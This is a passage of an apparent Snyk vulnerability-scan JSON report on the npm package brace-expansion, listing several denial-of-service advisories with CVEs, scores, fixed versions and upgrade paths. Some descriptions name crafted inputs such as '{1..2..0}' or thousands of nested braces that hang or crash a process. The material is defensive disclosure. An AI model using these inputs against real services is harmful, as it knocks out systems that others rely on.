"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
